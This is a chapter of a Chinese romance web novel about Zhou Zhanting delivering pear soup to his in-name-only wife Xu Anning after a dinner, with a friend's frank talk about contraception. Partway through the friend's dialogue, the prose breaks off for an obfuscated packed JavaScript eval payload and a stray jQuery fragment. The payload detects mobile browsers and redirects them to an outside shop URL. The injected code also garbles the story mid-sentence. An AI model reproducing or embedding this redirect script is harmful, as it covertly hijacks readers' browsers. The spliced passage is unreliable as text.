周绽廷提着一份打包好的梨汤出了包间,和沈慕白一起往餐厅外走。
沈慕白走在周绽廷旁边,偏头看了一眼他手里那个打包袋,忍不住笑着摇了摇头,“没想到你周二公子也有今天。”
周绽廷脚步没停,侧过脸看他:“怎么了?”
沈慕白看了眼周绽廷,转回脸去接着说:“你还记不记得高中那会儿,有一次你感冒嗓子哑了。人家班花特地熬了梨汤,用保温杯装着拿来给你。结果你说,‘我对梨过敏’。”
沈慕白模仿周绽廷当年的语气,学着学着自己先笑了。
接着他一脸痛惜地说:“把人家班花的心伤得哟!哭了好久呢!”
周绽廷想了想,语气平淡地问:“咱们班还有班花呢?我怎么不知道。”
“……”沈慕白白了他一眼,“您周二公子眼高于顶,自然谁都看不上了。”
“我可没有。”周绽廷推开餐厅的玻璃门,夜风裹着初秋的凉意扑面而来。他顿了一下说,“只不过既然知道自己不喜欢,又何必招惹呢?”
“喜欢的就可以不择手段是吧?”沈慕白跟着出来,看着周绽廷的侧脸,服气地点点头,“我现在真的越来越想见见你的博士老婆了。改天约出来一起吃饭。”
周绽廷不知想到了什么,唇角弯了一下,“那可不好约,她比我还忙。”
“再忙吃顿饭的工夫还没有吗?”沈慕白不信。
周绽廷没接话,摸了摸打包袋,还热着。换了个手拎着,迈开长腿往停车场走。
“改天吧。总会让你见着的。”
沈慕白看着周绽廷急匆匆的背影,噗呲乐了。自言自语道:“瞧把你急的,哪有那么快就凉了呢!”
说完又笑着摇了摇头,抬腿跟上去。
沈慕白刚离开,身后的玻璃门又被推开了。一行人浩浩荡荡地从里面出来。一边走,一边讨论着哪道菜好吃,下次来还可以再点。还有两个女生嚷嚷着吃多了,明天不吃饭了减肥。
他们说话的声音很大,传到了周绽廷耳朵里。
他刚走到车旁边,本来没当一回事,忽然有个人喊了一声,“安柠”。
周绽廷伸手开门的动作倏地停了下来,回过头往餐厅门口望去。
一眼就锁定了那个在热闹人群中显得格外安静的身影。就像当年,在祖母八十大寿,千人来贺的盛大宴会上,他一眼就看到了她那样。
她不声不响,不笑不闹,就轻易把他的目光夺了过去。
沈慕白刚想问问周绽廷明天几点的航班,一回身,忽然发现他定在那儿一动不动。
“怎么了?”沈慕白顺着他视线方向看过去。
只见餐厅门口那群人里,三个女孩穿得各有各的漂亮。唯有一个白T恤牛仔裤平底鞋,像花圃里钻出了一根竹子,朴实无华却是最显眼的。
她的显眼不是因为穿着打扮的另类,而是,她的那张脸让人看了第一眼,就忍不住想看第二眼、第三眼……一直这么看下去。
她不是浓颜明艳的长相,相反清清淡淡的。像冬日枝头上的纯白梅花,只有简简单单的五片花瓣,却美得让人移不开眼睛。
沈慕白是设计师,美术出身,对美有异于常人的敏感度。见过的美人也不少,但是这种气质的,他很少见。
所以,即使周绽廷不说,他也猜得出,他是在看谁。
还能让他看得如此痴迷的,也就只有他现在心心念念的那个研究AI的博士小娇妻了。
沈慕白笑了一下,语气中带着调侃:“今天运气不错,见着了。”
周绽廷没说话,看着许安柠提着打包袋,和那个穿鹅黄色裙子的女生,往另一个方向走了。眼睛一直跟随着她,直到她们两个上了那辆白色小电车。
“不过去打个招呼吗?”
周绽廷收回视线,“不去了。”
他拉开车门,把打包袋放在副驾座椅上。“嘭”的关上车门。转过身来,语气从容得像个经验丰富的情感专家:
“要保留私人空间。”
他挥了下手,“走了。”
说完,绕到另一头上车,打火,启动,一气呵成,扬长而去。
沈慕白看着那辆黑色轿车追着那辆白色小电车而去,呵呵一声:
“口是心非。”
——
九点的京北,夜色浓重,道路两边霓虹璀璨。
苏棠握着方向盘,眼睛看着前方的路,余光却一直往旁边瞟。
旁边是许安柠。腿上放着一个打包袋,两只手搭在袋子上,手指轻轻捻着打包袋的绳,眼睛直直地看着前方,不知在想着什么。
作为从胎教时期就认识的好姐妹,苏棠对许安柠的了解绝对可以说是蓝光级别的。
许安柠现在的表情动作,表示她绝对有事。而且事还很大。
苏棠又看了许安柠一眼,终于忍不住问:“柠檬,你是不是有什么心事?”
许安柠的手指停了一下,又继续搓那根绳,声音不大,很平静地说:“周绽廷回来了。”
“周绽廷?”苏棠重复了下这个名字,皱眉想了想,“谁啊?我认识吗?”
“就是……”
许安柠顿了顿,她不知道该如何称呼那个人,思索了一下,说:“琅城周家的二公子。”
苏棠脑子转了几个回合,突然眼睛一瞪,嘴巴一张,声调猛地拔高,“啊——是你那个、那个……挂名老公?!”
“……”
许安柠眉头微蹙了蹙,一晚上都给他贴了两个标签了。幸好他听不到,也不是公共场合,随她咋呼吧。
苏棠也意识到自己声音太大了,缩了缩脖子,但眼睛里的兴奋劲没减,闪着八卦的光:“那他回来了,是来京北了吗?你们见过面了?”
许安柠点头:“嗯。”
苏棠眼睛又亮了一个度,一边疯狂脑补剧情,一边小心措着辞:“那你们……那他……还是挂名的吗?”
许安柠又点了点头:“嗯。”
“?”
这……苏棠稍稍有点想不通了。自己姐妹这颜值,这气质,哪个男的见了不惊为天人?岂有放过的道理?
该不会……苏棠瞅了瞅许安柠,该不会她把人给拒了吧?
如同苏棠了解许安柠一样,许安柠也同样十分了解苏棠。
她欲言又止的那一眼,许安柠读懂了。
“我没有拒绝,是他主动放弃了。”
“啊?”苏棠眼睛瞪大了,“还有这事?”
“嗯。”
苏棠摇着头,“那我可真想不通了。”
不只苏棠不理解,许安柠同样不理解。
虽然她很庆幸自己逃过一劫,但不代表她没有疑惑。她以前是没谈过恋爱,但也并不是什么都不懂。
他看自己的眼神,其实她以前在别人眼里也看到过。只不过,她选择忽略掉了那些目光。就像如今忽略掉他的一样。
苏棠张了张嘴,想说什么,又咽了回去。前方信号灯变红,她踩住刹车,双手扶着方向盘,过了几秒才问:“那他这次回来还走吗?”
许安柠手指又搓了搓那根绳子:“他说公司总部迁回了国内,不走了。”
“一个公司说迁就迁了啊?”苏棠直觉这件事可能没那么简单,“然后呢?他有没有提什么要求?”
许安柠沉默了片刻:“他说偶尔相聚就可以。不会打扰我。”
“偶尔相聚?”
苏棠的手指在方向盘上敲了两下。绿灯亮了,她踩下油门,车子平稳地穿过路口,过了几秒钟接着问:“那他有没有说,‘相聚’的具体内容是什么呢?”
许安柠一怔,手指停在那根绳子上,不动了。
她想起那天在他的公寓里,他站在她面前,目光沉沉地看着她,嘴角带着笑意,但那双眼睛里的压迫感让人不敢对视。她当时只觉得心跳得厉害,只想快点结束那个话题,根本没细想“偶尔相聚”这四个字到底意味着什么。
此刻她忽然想到,虽然他没有要求她住进他的房子里,但有些事,不是非要住在一起,才能做的。
那他这次从欧洲回来再聚,会不会提点别的要求呢?
如果真提了,她又该怎么办?
——
车子缓缓停在京北大学东门外。
许安柠从车上下来,手里多了一个手提袋。里面是苏妈妈自己做的酱菜,两瓶酱小黄瓜和两瓶酱莴笋。都是她喜欢吃的。
许安柠跟苏棠打了声招呼正要走,苏棠突然叫住了她。
“柠檬。”
许安柠弯腰凑近车窗,看着苏棠。
苏棠表情有些神神秘秘的,压低声音说:“那个……万一有些事躲不过去,你知道怎么保护自己吧?”
许安柠愣了一下,片刻之后反应过来她指的是什么,脸上一热,点了点头,“嗯。”
苏棠稍稍松了口气,然后继续说:“这种事情不能靠男人自觉。男人这种生物,他大多数是不自觉的。所以一定要靠自己。对了,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566333|204765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道在哪儿买那东西吧?”
许安柠脑海中闪过超市收银台。但是她不想继续讨论这个话题:“嗯,知道。你路上小心,开车慢点。到了给我发个微信。”
说完她退后两步,摆出了送客的姿势。
苏棠知道她脸皮薄不好意思,但有些话,说不透彻,总觉得不放心。
她又压低身子,仰着脖子,放开一点声音:“你要是线下不好意思,也可以线上买,都是保密发货,没人知道的!”
纵使路上没有人,许安柠还是尴尬到脚趾抠地,连忙向她摆手,示意她快走。
苏棠终于收住了嘴,“那我走了啊,有什么事记得跟我说。”
苏棠走了。
小白车的红色尾灯在夜色里拖出一道淡淡的光痕,拐过路口,不见了。
许安柠望着车子消失的方向,站了一会儿,转身往校门口走。
刚走了没几步,身后忽然传来一个声音。
“安柠。”
不知是夜晚天凉还是怎的,许安柠身子猛地一颤,脚步一顿,回过头。
路边茂密的法桐树下停着一辆黑色轿车,一个人从树影中走出来。
他单手抄兜,手里提着一个袋子,步伐不紧不慢地朝她走过来。
是周绽廷。
许安柠猛然想起刚才苏棠临走前和她说的那些话,手指不自觉地收紧,全身的神经都紧绷起来。也不知道他什么时候来的?有没有听到什么?
她定了定神,声音尽量平稳:“你怎么来了?不是去欧洲了吗?”
周绽廷走到她面前,站定,唇角带着点淡淡的笑意,“明天走。”
许安柠看不出他表情有什么异样,也许没听到吧。心下放松了些:“哦,那你有事吗?”
周绽廷把手里的打包袋提起来,“今天和朋友去一个地方吃饭,那里的梨汤挺好喝的,给你带了一份。”
许安柠看着那个袋子,愣了一下。和自己手上这个一模一样。他不会是在那家餐厅吃的饭吧?
周绽廷似乎也注意到了,目光落在她手里的那个打包袋上,惊讶地问:“你们今天聚餐也是在那里吗?”
许安柠顺着他的视线看了一眼,扯了扯嘴角:“好像是吧。”
“那还真巧。”周绽廷说。然后抬了抬下巴,指了指她手里的袋子,“那你这是给谁带的?”
“给陈老师的。”许安柠一五一十地回答,“陈老师没来吃饭,还把车借给我们了,我给她带的。”
“哦。”周绽廷点点头,心里说不清是失望还是什么。其实他早就料到那不会是给他的,但心里还是有那么点期待。
他的目光又落在她另一只手里拎着的手提袋上,问:“那这又是什么?”
许安柠低头看了一眼,“酱小黄瓜,还有酱莴笋。我朋友妈妈做的,她给我也寄了点。”
周绽廷看了一眼那个手提袋的大小,“这么多,你吃得了吗?”
许安柠低头看了看,这些还叫多吗?最多半个月她就吃完了。大概是他不了解苏妈妈做的酱菜有多好吃吧。
“不多啊,”许安柠认真地说,“很快就吃完了。”
“……”
一阵凉凉的夜风吹来,几片落叶在地上打着滚,发出哗哗的响声。像在嘲笑人类的自作多情。
周绽廷低头看着她,眸色有些深沉,沉默了几秒,他说:“那要是我说我也想吃,你舍得给我吗?”
许安柠一怔,眨了眨眼睛,原来他是这个意思。直说就好了,干吗还绕圈子?
“那你自己拿吧。”许安柠直接把整个袋子递给他。
周绽廷看她不像是假意客套,嘴角弯了弯,接过来往袋子里看了一眼,“那我只要一瓶,其他的你自己留着吃。”
他拿了一瓶出来,举到眼前看了看。里面是细细的、表面有发蔫的深绿色小黄瓜。然后把其余的几瓶酱菜,连同他手里的梨汤,一起递给许安柠:“你自己拿得了吗?要不要我帮你拿进去?”
许安柠本来还想推辞一下那份梨汤,一听,赶紧接过来,“不用了,我自己可以,谢谢。”
说完拔腿要走,似乎觉得不合适,又停下来:“要是没有别的事,我先回去了。我还得给陈老师送梨汤。”
周绽廷笑了笑,“去吧。”
周绽廷看着许安柠进了校门,才慢悠悠地返回车里。把那瓶酱小黄瓜放到副驾座椅上,拿出手机,对着AI助手说了一句:
“买什么东西需要保密发货。”